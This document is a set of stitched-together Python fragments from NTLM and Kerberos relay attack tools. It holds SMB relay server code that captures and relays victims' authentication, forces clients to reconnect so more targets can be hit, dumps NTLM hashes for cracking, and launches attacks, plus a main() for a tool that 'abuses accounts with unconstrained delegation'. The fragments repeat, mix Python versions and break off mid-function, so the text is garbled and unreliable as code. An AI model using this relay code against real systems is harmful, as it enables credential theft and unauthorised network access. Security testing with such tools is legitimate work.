smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = b'\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) #Log this target as processed for this client self.targetprocessor.logTarget(self.target) client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegState'] = b'\x00' # Done with the relay for now. connData['Authenticated'] = True del (connData['relayToHost']) # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters[ 'SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security #TODO: Fix this for other protocols than SMB [!] respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) client = connData['SMBClient'] _, errorCode = client.sendStandardSecurityAuth(sessionSetupData) if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = b'\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff #Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Finish client's connection #client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper() LOG.info( "Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) # Done with the relay for now. connData['Authenticated'] = True del (connData['relayToHost']) self.do_attack(client) # Now continue with the server ############################################################# respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) authenticateMessage = connData['AUTHENTICATE_MESSAGE'] self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() # Uncommenting this will stop at the first connection relayed and won't relaying until all targets # are processed. There might be a use case for this #if 'relayToHost' in connData: # # Connection already relayed, let's just answer the request (that will return object not found) # return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket) try: if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) if self.authUser == '/': LOG.info( 'SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' % (connId, connData['ClientIP'])) return self.origsmbComTreeConnectAndX(connId, smbServer, recvPacket) self.target = self.targetprocessor.getTarget( identity=self.authUser) if self.target is None: # No more targets to process, just let the victim to fail later LOG.info( 'SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) return self.origsmbComTreeConnectAndX(connId, smbServer, recvPacket) LOG.info( 'SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc)) if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['relayToHost'] = True connData['Authenticated'] = False del (connData['NEGOTIATE_MESSAGE']) del (connData['CHALLENGE_MESSAGE']) del (connData['AUTHENTICATE_MESSAGE']) connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) resp = smb.NewSMBPacket() resp['Flags1'] = smb.SMB.FLAGS1_REPLY resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \ recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Pid'] = connData['Pid'] respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) respParameters = smb.SMBTreeConnectAndXResponse_Parameters() respData = smb.SMBTreeConnectAndXResponse_Data() treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters( SMBCommand['Parameters']) if treeConnectAndXParameters['Flags'] & 0x8: respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters( ) treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags=recvPacket['Flags2']) treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[ 'PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) ## Process here the request, does the share exist? UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) # Is this a UNC? if ntpath.ismount(UNCOrShare): path = UNCOrShare.split('\\')[3] else: path = ntpath.basename(UNCOrShare) # This is the key, force the client to reconnect. # It will loop until all targets are processed for this user errorCode = STATUS_NETWORK_SESSION_EXPIRED resp['ErrorCode'] = errorCode >> 16 resp['_reserved'] = 0o3 resp['ErrorClass'] = errorCode & 0xff if path == 'IPC$': respData['Service'] = 'IPC' else: respData['Service'] = path respData['PadLen'] = 0 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS') respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp['Uid'] = connData['Uid'] resp.addCommand(respSMBCommand) smbServer.setConnectionData(connId, connData) return None, [resp], errorCode ################################################################################ #Initialize the correct client for the relay target def init_client(self, extSec): if self.target.scheme.upper() in self.config.protocolClients: client = self.config.protocolClients[self.target.scheme.upper()]( self.config, self.target, extendedSecurity=extSec) client.initConnection() else: raise Exception('Protocol Client for %s not found!' % self.target.scheme) return client def do_ntlm_negotiate(self, client, token): #Since the clients all support the same operations there is no target protocol specific code needed for now return client.sendNegotiate(token) def do_ntlm_auth(self, client, SPNEGO_token, challenge): #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB clientResponse, errorCode = client.sendAuth(SPNEGO_token, challenge) return clientResponse, errorCode def do_attack(self, client): #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties # Check if SOCKS is enabled and if we support the target scheme if self.config.runSocks and self.target.scheme.upper( ) in self.config.socksServer.supportedSchemes: if self.config.runSocks is True: # Pass all the data to the socksplugins proxy activeConnections.put( (self.target.hostname, client.targetPort, self.target.scheme.upper(), self.authUser, client, client.sessionData)) return # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks if self.target.scheme.upper() in self.config.attacks: # We have an attack.. go for it clientThread = self.config.attacks[self.target.scheme.upper()]( self.config, client.session, self.authUser) clientThread.start() else: LOG.error('No attack configured for %s' % self.target.scheme.upper()) def _start(self): self.server.daemon_threads = True self.server.serve_forever() LOG.info('Shutting down SMB Server') self.server.server_close() def run(self): LOG.info("Setting up SMB Server") self._start()
def smb2TreeConnect(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) authenticateMessage = connData['AUTHENTICATE_MESSAGE'] self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() # Uncommenting this will stop at the first connection relayed and won't relaying until all targets # are processed. There might be a use case for this #if 'relayToHost' in connData: # # Connection already relayed, let's just answer the request (that will return object not found) # return self.origsmb2TreeConnect(connId, smbServer, recvPacket) try: if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) if self.authUser == '/': LOG.info( 'SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' % (connId, connData['ClientIP'])) return self.origsmb2TreeConnect(connId, smbServer, recvPacket) self.target = self.targetprocessor.getTarget( identity=self.authUser) if self.target is None: # No more targets to process, just let the victim to fail later LOG.info( 'SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) return self.origsmb2TreeConnect(connId, smbServer, recvPacket) LOG.info( 'SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc)) if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['relayToHost'] = True connData['Authenticated'] = False del (connData['NEGOTIATE_MESSAGE']) del (connData['CHALLENGE_MESSAGE']) del (connData['AUTHENTICATE_MESSAGE']) connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) respPacket = smb3.SMB2Packet() respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = recvPacket['Command'] respPacket['SessionID'] = connData['Uid'] respPacket['Reserved'] = recvPacket['Reserved'] respPacket['MessageID'] = recvPacket['MessageID'] respPacket['TreeID'] = recvPacket['TreeID'] respSMBCommand = smb3.SMB2TreeConnect_Response() # This is the key, force the client to reconnect. # It will loop until all targets are processed for this user errorCode = STATUS_NETWORK_SESSION_EXPIRED respPacket['Status'] = errorCode respSMBCommand['Capabilities'] = 0 respSMBCommand['MaximalAccess'] = 0x000f01ff respPacket['Data'] = respSMBCommand # Sign the packet if needed if connData['SignatureEnabled']: smbServer.signSMBv2(respPacket, connData['SigningSessionKey']) smbServer.setConnectionData(connId, connData) return None, [respPacket], errorCode
def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): connData = smbServer.getConnectionData(connId, checkStatus=False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) self.target = self.targetprocessor.getTarget() LOG.info( "SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) respPacket = smb3.SMB2Packet() respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = smb3.SMB2_NEGOTIATE respPacket['SessionID'] = 0 if isSMB1 is False: respPacket['MessageID'] = recvPacket['MessageID'] else: respPacket['MessageID'] = 0 respPacket['TreeID'] = 0 respSMBCommand = smb3.SMB2Negotiate_Response() # Just for the Nego Packet, then disable it respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED if isSMB1 is True: # Let's first parse the packet to see if the client supports SMB2 SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) dialects = SMBCommand['Data'].split(b'\x02') if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 else: # Client does not support SMB2 fallbacking raise Exception('Client does not support SMB2, fallbacking') else: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 respSMBCommand['ServerGuid'] = b(''.join( [random.choice(string.ascii_letters) for _ in range(16)])) respSMBCommand['Capabilities'] = 0 respSMBCommand['MaxTransactSize'] = 65536 respSMBCommand['MaxReadSize'] = 65536 respSMBCommand['MaxWriteSize'] = 65536 respSMBCommand['SystemTime'] = getFileTime( calendar.timegm(time.gmtime())) respSMBCommand['ServerStartTime'] = getFileTime( calendar.timegm(time.gmtime())) respSMBCommand['SecurityBufferOffset'] = 0x80 blob = SPNEGO_NegTokenInit() blob['MechTypes'] = [ TypesMech[ 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'], TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] ] respSMBCommand['Buffer'] = blob.getData() respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) respPacket['Data'] = respSMBCommand smbServer.setConnectionData(connId, connData) return None, [respPacket], STATUS_SUCCESS
def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): connData = smbServer.getConnectionData(connId, checkStatus=False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) self.target = self.targetprocessor.getTarget() ############################################################# # SMBRelay # Get the data for all connections smbData = smbServer.getConnectionData('SMBRelay', False) if self.target in smbData: # Remove the previous connection and use the last one smbClient = smbData[self.target]['SMBClient'] del smbClient del smbData[self.target] LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: smbData[self.target] = {} smbData[self.target]['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData('SMBRelay', smbData) smbServer.setConnectionData(connId, connData) respPacket = smb3.SMB2Packet() respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = smb3.SMB2_NEGOTIATE respPacket['SessionID'] = 0 if isSMB1 is False: respPacket['MessageID'] = recvPacket['MessageID'] else: respPacket['MessageID'] = 0 respPacket['TreeID'] = 0 respSMBCommand = smb3.SMB2Negotiate_Response() # Just for the Nego Packet, then disable it respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED if isSMB1 is True: # Let's first parse the packet to see if the client supports SMB2 SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) dialects = SMBCommand['Data'].split('\x02') if 'SMB 2.002\x00' in dialects or 'SMB 2.???\x00' in dialects: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 else: # Client does not support SMB2 fallbacking raise Exception('SMB2 not supported, fallbacking') else: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 respSMBCommand['ServerGuid'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)]) respSMBCommand['Capabilities'] = 0 respSMBCommand['MaxTransactSize'] = 65536 respSMBCommand['MaxReadSize'] = 65536 respSMBCommand['MaxWriteSize'] = 65536 respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime())) respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime())) respSMBCommand['SecurityBufferOffset'] = 0x80 blob = SPNEGO_NegTokenInit() blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'], TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] respSMBCommand['Buffer'] = blob.getData() respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) respPacket['Data'] = respSMBCommand smbServer.setConnectionData(connId, connData) return None, [respPacket], STATUS_SUCCESS
logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) # Let's register the protocol clients we have # ToDo: Do this better somehow from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS if options.codec is not None: codec = options.codec else: codec = sys.getdefaultencoding() if options.target is not None: logging.info("Running in relay mode to single host") mode = 'RELAY' targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS) else: if options.tf is not None: #Targetfile specified logging.info("Running in relay mode to hosts in targetfile") targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS) mode = 'RELAY' else: logging.info("Running in reflection mode") targetSystem = None mode = 'REFLECTION' if not options.no_smb_server: RELAY_SERVERS.append(SMBRelayServer)
class SMBRelayServer(Thread): def __init__(self,config): Thread.__init__(self) self.daemon = True self.server = 0 #Config object self.config = config #Current target IP self.target = None #Targets handler self.targetprocessor = self.config.target #Username we auth as gets stored here later self.authUser = None self.proxyTranslator = None # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global','server_name','server_name') smbConfig.set('global','server_os','UNIX') smbConfig.set('global','server_domain','WORKGROUP') smbConfig.set('global','log_file','smb.log') smbConfig.set('global','credentials_file','') if self.config.smb2support is True: smbConfig.set("global", "SMB2Support", "True") else: smbConfig.set("global", "SMB2Support", "False") if self.config.outputFile is not None: smbConfig.set('global','jtr_dump_path',self.config.outputFile) # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$','comment','') smbConfig.set('IPC$','read only','yes') smbConfig.set('IPC$','share type','3') smbConfig.set('IPC$','path','') # Change address_family to IPv6 if this is configured if self.config.ipv6: SMBSERVER.address_family = socket.AF_INET6 # changed to dereference configuration interfaceIp self.server = SMBSERVER((config.interfaceIp,445), config_parser = smbConfig) logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL) self.server.processConfigFile() self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate) self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX) self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate) self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup) # Let's use the SMBServer Connection dictionary to keep track of our client connections as well #TODO: See if this is the best way to accomplish this # changed to dereference configuration interfaceIp self.server.addConnection('SMBRelay', config.interfaceIp, 445) ### SMBv2 Part ################################################################# def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): connData = smbServer.getConnectionData(connId, checkStatus=False) LOG.info("SMBD: Received connection from %s" % (connData['ClientIP'])) respPacket = smb3.SMB2Packet() respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = smb3.SMB2_NEGOTIATE respPacket['SessionID'] = 0 if isSMB1 is False: respPacket['MessageID'] = recvPacket['MessageID'] else: respPacket['MessageID'] = 0 respPacket['TreeID'] = 0 respSMBCommand = smb3.SMB2Negotiate_Response() # Just for the Nego Packet, then disable it respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED if isSMB1 is True: # Let's first parse the packet to see if the client supports SMB2 SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) dialects = SMBCommand['Data'].split('\x02') if 'SMB 2.002\x00' in dialects or 'SMB 2.???\x00' in dialects: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 else: # Client does not support SMB2 fallbacking raise Exception('SMB2 not supported, fallbacking') else: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 respSMBCommand['ServerGuid'] = ''.join([random.choice(string.letters) for _ in range(16)]) respSMBCommand['Capabilities'] = 0 respSMBCommand['MaxTransactSize'] = 65536 respSMBCommand['MaxReadSize'] = 65536 respSMBCommand['MaxWriteSize'] = 65536 respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime())) respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime())) respSMBCommand['SecurityBufferOffset'] = 0x80 blob = GSSAPIHeader_SPNEGO_Init2() blob['tokenOid'] = '1.3.6.1.5.5.2' blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']), MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']), MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])]) blob['innerContextToken']['negHints']['hintName'] = "not_defined_in_RFC4178@please_ignore" respSMBCommand['Buffer'] = encoder.encode(blob) respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) respPacket['Data'] = respSMBCommand smbServer.setConnectionData(connId, connData) return None, [respPacket], STATUS_SUCCESS # This is SMB2 def SmbSessionSetup(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb3.SMB2SessionSetup_Response() sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) connData['Capabilities'] = sessionSetupData['Capabilities'] securityBlob = sessionSetupData['Buffer'] rawNTLM = False if struct.unpack('B',securityBlob[0])[0] == ASN1_AID: # negTokenInit packet try: blob = decoder.decode(securityBlob, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0] token = blob['innerContextToken']['negTokenInit']['mechToken'] if len(blob['innerContextToken']['negTokenInit']['mechTypes']) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['innerContextToken']['negTokenInit']['mechTypes'][0] if str(mechType) != TypesMech['KRB5 - Kerberos 5'] and str(mechType) != \ TypesMech['MS KRB5 - Microsoft Kerberos 5']: # Nope, do we know it? if MechTypes.has_key(str(mechType)): mechStr = MechTypes[str(mechType)] else: mechStr = mechType smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) # We don't know the token, we answer back again saying # we just support Kerberos. respToken = NegotiationToken() respToken['negTokenResp']['negResult'] = 'request_mic' respToken['negTokenResp']['supportedMech'] = TypesMech['KRB5 - Kerberos 5'] respTokenData = encoder.encode(respToken) respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respTokenData) respSMBCommand['Buffer'] = respTokenData return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED else: # This is Kerberos, we can do something with this try: # If you're looking for the magic, it's in lib/utils/kerberos.py authdata = get_kerberos_loot(securityBlob, self.config) # If we are here, it was succesful # Are we in attack mode? If so, launch attack against all targets if self.config.mode == 'ATTACK': self.do_attack(authdata) # This ignores all signing stuff # causes connection resets # Todo: reply properly! respToken = NegotiationToken() # accept-completed respToken['negTokenResp']['negResult'] = 'accept_completed' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = encoder.encode(respToken) smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, STATUS_SUCCESS # Somehow the function above catches all exceptions and hides them # which is pretty annoying except Exception, e: import traceback traceback.print_exc() raise pass except: import traceback traceback.print_exc() else: # No GSSAPI stuff, we can't do anything with this smbServer.log("No negTokenInit sent by client", logging.CRITICAL) raise Exception('No negTokenInit sent by client') respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode ################################################################################ ### SMBv1 Part ################################################################# def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) #TODO: Check if a cache is better because there is no way to know which target was selected for this victim # except for relying on the targetprocessor selecting the same target unless a relay was already done self.target = self.targetprocessor.getTarget() ############################################################# # SMBRelay # Get the data for all connections smbData = smbServer.getConnectionData('SMBRelay', False) if smbData.has_key(self.target): # Remove the previous connection and use the last one smbClient = smbData[self.target]['SMBClient'] del smbClient del smbData[self.target] LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: extSec = False else: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True #Init the correct client for our target client = self.init_client(extSec) except Exception, e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else:
if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) if options.codec is not None: codec = options.codec else: codec = sys.getdefaultencoding() if options.target is not None: logging.info("Running in relay mode to single host") mode = 'RELAY' targetSystem = TargetsProcessor(singletarget=options.target) else: if options.tf is not None: #Targetfile specified logging.info("Running in relay mode to hosts in targetfile") targetSystem = TargetsProcessor(targetlistfile=options.tf) mode = 'RELAY' else: logging.info("Running in reflection mode") targetSystem = None mode = 'REFLECTION' if options.r is not None: logging.info("Running HTTP server in redirect mode") if targetSystem is not None and options.w:
def main(): def start_servers(options, threads): for server in RELAY_SERVERS: #Set up config c = KrbRelayxConfig() c.setProtocolClients(PROTOCOL_CLIENTS) c.setTargets(targetSystem) c.setExeFile(options.e) c.setCommand(options.c) c.setEnumLocalAdmins(options.enum_local_admins) c.setEncoding(codec) c.setMode(mode) c.setAttacks(PROTOCOL_ATTACKS) c.setLootdir(options.lootdir) c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access) c.setIPv6(options.ipv6) c.setWpadOptions(options.wpad_host, options.wpad_auth_num) c.setSMB2Support(not options.no_smb2support) c.setInterfaceIp(options.interface_ip) if options.krbhexpass and not options.krbpass: c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip, binascii.unhexlify(options.krbhexpass), options.krbsalt, True) else: c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip, options.krbpass, options.krbsalt, False) c.setKrbOptions(options.format) #If the redirect option is set, configure the HTTP server to redirect targets to SMB if server is HTTPKrbRelayServer and options.r is not None: c.setMode('REDIRECT') c.setRedirectHost(options.r) s = server(c) s.start() threads.add(s) return c # Init the example's logger theme logger.init() #Parse arguments parser = argparse.ArgumentParser( add_help=False, description= "Kerberos \"relay\" tool. Abuses accounts with unconstrained " "delegation to pwn things.") parser._optionals.title = "Main options" #Main arguments 